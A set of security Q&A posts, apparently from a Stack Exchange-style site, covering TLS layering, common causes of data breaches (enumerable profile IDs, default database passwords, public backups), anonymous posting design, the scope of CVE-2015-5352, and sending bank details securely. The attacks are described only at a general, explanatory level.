Why can protocols on higher layers be left unchanged? In his answer to "How does SSL/TLS work?", Luc gives an explanation of how SSL works:

  SSL (and its successor, TLS) is a protocol that operates directly on top of TCP (although there are also implementations for datagram based protocols such as UDP). This way, protocols on higher layers (such as HTTP) can be left unchanged while still providing a secure connection. Underneath the SSL layer, HTTP is identical to HTTPS.

In his first sentence, he is saying that protocols on higher layers can be left unchanged.

What does he mean? I know the OSI layers, but I think I've got some knowledge issues here.

You should think of OSI layers as packaging.

Let's say I want to ship a glass to you. I chose an original package for advertisement purposes, showing how nice is my product and what you can buy to add to your "glass" experience. That's the high layer of my protocol.

Then I put this package in a box filled with soft thingies because I don't want it to be broken by transportation. This is a second layer.

Then my shipment department enclose this box into a bigger package, with a label to be shipped to your home. Again, another layer.

Then the transporter put this box in a truck with many other boxes and instruct the driver to go to another delivery center, again another layer.

For what we know, the truck driver does not need to know :

where do the boxes go exactly in your home, he just needs to know your address
what protection are in the boxes, he just has to drive as safely as it's instructed in his contract
what exactly is in the boxes

Let's say now that I want to provide confidentiality to my shipment. Because, a curious driver could try to tamper with the packages to know what's inside, or steal it and resell it.

I can use a protocol where your packaged-soft-coated glass is also put into a metal box with a locker. It will protect it from tampering by the truck driver, as he won't be able to peek inside, or take the merchandise. It does not protect the lower layers, he could still dump all the fret into a lake, this is denial of service. Moreover, my locker does not care what's inside it. It could be your glass, it could be flowers or it could be empty. But it still serves the purpose of avoiding anyone other than you (and the shipper ofc) to know what is inside.

It goes the same for the protocols in the OSI. Lower layers does not care about what is happening in the upper layers. This is left for another agent to decode/handle it.

Edit for clarification: when we say "left unchanged" it does not mean the information is not processed. For SSL in particular, the payload of the SSL layer is an encryption of the packet of the higher layer. But when SSL operated in the other side, it will decrypt the original packet with no modification.


What's more vulnerable; the data or the DBMS? When data breaches occur, is a database always involved?
In the case of databases being involved, do hackers figure out how the data is stored and read this or do they just figure out how to make queries to the database via the DBMS?
Is accessing the data files less of a mystery for open-source files and thus a possible weak point compared to closed-source databases?

No, a database is not always involved.
Let's come up with a random service that happens to be moderately popular. A fairly standard set of components includes:

a user-facing client (webpage or app)
an API for programmatic access
a backend to serve clients (API and user-facing)
a database for the backend to store data
backups of the database
data exports to third-parties for analytics or even reselling

Every single component can be the source of a data leak.
Here are some examples how (this is by no means comprehensive):

User-facing client / programmatic API:
Let's say there's an endpoint on the server to return a logged-in user's private profile (not normally publicly visible). The endpoint is just /getprofile?userid=12345 (where 12345 is my user ID).
Because the developers forgot their coffee that day, they figured they don't need to perform any checks on it; the user ID is generated by them, there's no reason for anyone out there to know what it is. So just return the profile for 12345 no matter who is asking.
Because they forgot their coffee on the day they were writing their schema, they also made those user ID monotonically increasing, as opposed to random.
The attacker can now start dumping the private profile of every single user in the system by hitting /getprofil?userid=1 and increasing by one until it starts telling me the user does not exist.
The same applies to a programmatic API that doesn't perform the correct authentication/authorization checks.

Database:
The under-caffeinated developers have some good friends: the sleep-deprived database admins. Because security is hard, they just deployed their database without secure communication (plaintext as opposed to TLS), and using either simple passwords for the admin users (because they're hard to remember), or even worse: the default username and password.
This database is also accessible to the world because some backends outside that datacenter need to access it. Any attacker can now connect to the database and try the default username and password. Once in, they can perform any query they like on the database.

Backups:
The database admins know problems sometimes occur, so they setup regular backups of the entire database. Because they found a neat script that does it for them, they save those backups to an S3 bucket.
But alas, they had a really late night and figure they'll worry about access permissions on the S3 buckets tomorrow, it'll just stay open for now, it's not like anyone is going to find that bucket.
Alas, the attacker has found the publicly-readable bucket with a convenient dump of the entire database. All they need to do is a quick copy of everything.

Third-parties:
Analytics is hard, it would be a lot better to export our entire database to a third-party that has really shiny dashboards and graphs. We'll just setup a pipeline to save all DB modifications straight to that third-party.
Oops, that third-party is just as red-eyed as our developers and database admins, they forgot proper security in their database, or backups. The attacker can now access our data due to someone else's carelessness.

Conclusion:
These are just some naive scenarios on some of the possible components, yet they happen constantly. You'll notice that none of them involve breaking through strong levels of security or require insider knowledge. They are all attacks that can be carried out by low level security threats.
Not all of them involve a database (eg: the API attacks don't care how the data is stored), and most of them never have to deal with the database software itself. When they do, it's a question of database configuration, not the software itself.


Building an anonymous network Imagine you're building Facebook, except you don't want to reveal user identity for posts and comments. You still want to verify each user's organization. For example, if the user signs up with john@hooli.com then you will only let him write posts after he's verified his email. This is my initial setup.

Posts and Comments have authorId field.
There should be an option to become "not anonymous" and reveal your email address when writing a post.

Because of number 2, I hesitate from throwing away email address from a User once it's verified. Right now, I think the best solution is to run a cron job periodically and remove userId field from anonymous posts and comments that are older than a certain amount of time. Then, when the database is compromised, no one will be able to associate an anonymous post with a registered user.

I don't know if it's the best way to do it and wanted to seek help from security experts. Any help will be greatly appreciated!!

If I understand you right than you want to make sure that no user data are compromised even if your site gets hacked. First you should be clear that this only can apply if you detect hacks to your site. If the attacker manages to hack your site and you don't notice this then the attacker can track all activity on this site and probably de-anonymize the users which use the the hacked site.

You should also be clear that users might be de-anonymized by the way they write, i.e. the writing style, the time they write, the topics they know about and the arguments they use. Thus full anonymization will probably not be possible because the information the users inadvertently provide on themselves.

Apart from that you should never ever store any information which might be used to make  de-anonymization easier. That is you should forget the e-mail address provided by the user immediately after you've sent the verification mail and should only associate some random token with the account. And you should not associate any posting by the user with the account or with each other because analysis over multiple posts by the same user provides way more information about the user than a single post would do.

Of course these restrictions in the information you store impact the usability of the site. You can also never provide some password recovery since you don't have any information about the user (no e-mail, no secret questions). You can also have nothing like all posts by the user or even recent posts because you don't associate posts with each other. And it might even be hard for a user to edit its own postings, although see this question for possible ways.

At the end you might need to find a balance between anonymization and usability. But to do this you should thoroughly  analyze the situation, i.e. do an evaluation of how much anonymization you need to provide and which risks your and your users are willing to take at the cost of better usability. And of course the users must be aware about the risks, so don't claim full anonymity if you cannot provide it.


Does CVE-2015-5352 work if there is no active X-Server? My security program shows that one of my servers is vulnerable to CVE-2015-5352.  If X-Server is not running (not even installed) is the system really penetrable by that vulnerability?

To understand this vulnerability you need to understand the way how the X11 forwarding over ssh works and what part is vulnerable. There is basic image:

[  ssh client  ] --> [  ssh server  ]
 [ x11 server ]       [ x11 client ]

The one who is vulnerable is the part with ssh-client and x11 server if connecting to malicious ssh server. If there is no X-server on client, there is nothing to exploit.


Safe way to communicate IBAN connection How do I securely communicate my bank connection details (IBAN + full name) to an otherwise trusted person with email being the only connection? Obviously I wouldn't use (plaintext) e-mail since any person that ever gets access to either mine or the recipient's inbox will also have access to that data.

What tricks do you use? Is there something like a trusted pastebin service with password-option and expiration date?

There is an OpenPGP standard for encrypting and signing email so that you can provide, confidentiality, integrity and authentication towards the person who is reading your email.